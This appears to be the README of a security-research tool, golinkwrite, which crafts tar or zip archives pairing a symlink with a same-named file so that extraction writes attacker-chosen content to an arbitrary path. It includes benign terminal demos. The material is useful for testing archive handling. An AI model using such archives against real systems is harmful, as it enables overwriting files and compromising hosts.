Create a tar archive containing a provided file and a symlink that points to the write destination.
The blog post, which describes the background to the rool can be found here: Link-Write Attack: A sweet combination .
make install$ go install github.com/NodyHub/golinkwrite@latest$ golinkwrite -h
Usage: golinkwrite <input> <target> <output> [flags]
Create a tar archive containing a provided file and a symlink that points to the write destination.
Arguments:
<input> Input file.
<target> Target destination in the filesystem.
<output> Output file.
Flags:
-h, --help Show context-sensitive help.
-t, --type="tar" Type of the archive. (tar, zip)
-v, --verbose Enable verbose output.(main[2]) ~/git/go-link-write% echo 'Hello Alice :wave:!' | tee rabbit_hole.txt
Hello Alice :wave:!
(main[2]) ~/git/go-link-write% golinkwrite -v rabbit_hole.txt /tmp/hi.txt alice.tar
time=2024-09-20T11:52:39.211 02:00 level=DEBUG msg="command line parameters" cli="{Input:rabbit_hole.txt Target:/tmp/hi.txt Output:alice.tar Type:tar Verbose:true}"
time=2024-09-20T11:52:39.212 02:00 level=DEBUG msg="input permissions" perm=-rw-r--r--
time=2024-09-20T11:52:39.213 02:00 level=DEBUG msg="input size" size=20
time=2024-09-20T11:52:39.213 02:00 level=INFO msg="archive created" output=alice.tar
(main[2]) ~/git/go-link-write% tar ztvf alice.tar
lrw-r--r-- 0 0 0 0 1 Jan 1970 rabbit_hole.txt -> /tmp/hi.txt
-rw-r--r-- 0 0 0 20 1 Jan 1970 rabbit_hole.txt(main[2]) ~/git/go-link-write% echo 'Hello Alice :wave:!' | tee rabbit_hole.txt
Hello Alice :wave:!
(main[2]) ~/git/go-link-write% golinkwrite -t zip -v rabbit_hole.txt /tmp/hi.txt alice.zip
time=2024-09-20T11:54:12.300 02:00 level=DEBUG msg="command line parameters" cli="{Input:rabbit_hole.txt Target:/tmp/hi.txt Output:alice.zip Type:zip Verbose:true}"
time=2024-09-20T11:54:12.300 02:00 level=DEBUG msg="input permissions" perm=-rw-r--r--
time=2024-09-20T11:54:12.301 02:00 level=DEBUG msg="input size" size=20
time=2024-09-20T11:54:12.301 02:00 level=INFO msg="archive created" output=alice.zip
(main[2]) ~/git/go-link-write% unzip -l alice.zip
Archive: alice.zip
Length Date Time Name
--------- ---------- ----- ----
11 09-20-2024 11:54 rabbit_hole.txt
20 08-09-2024 19:10 rabbit_hole.txt
--------- -------
31 2 files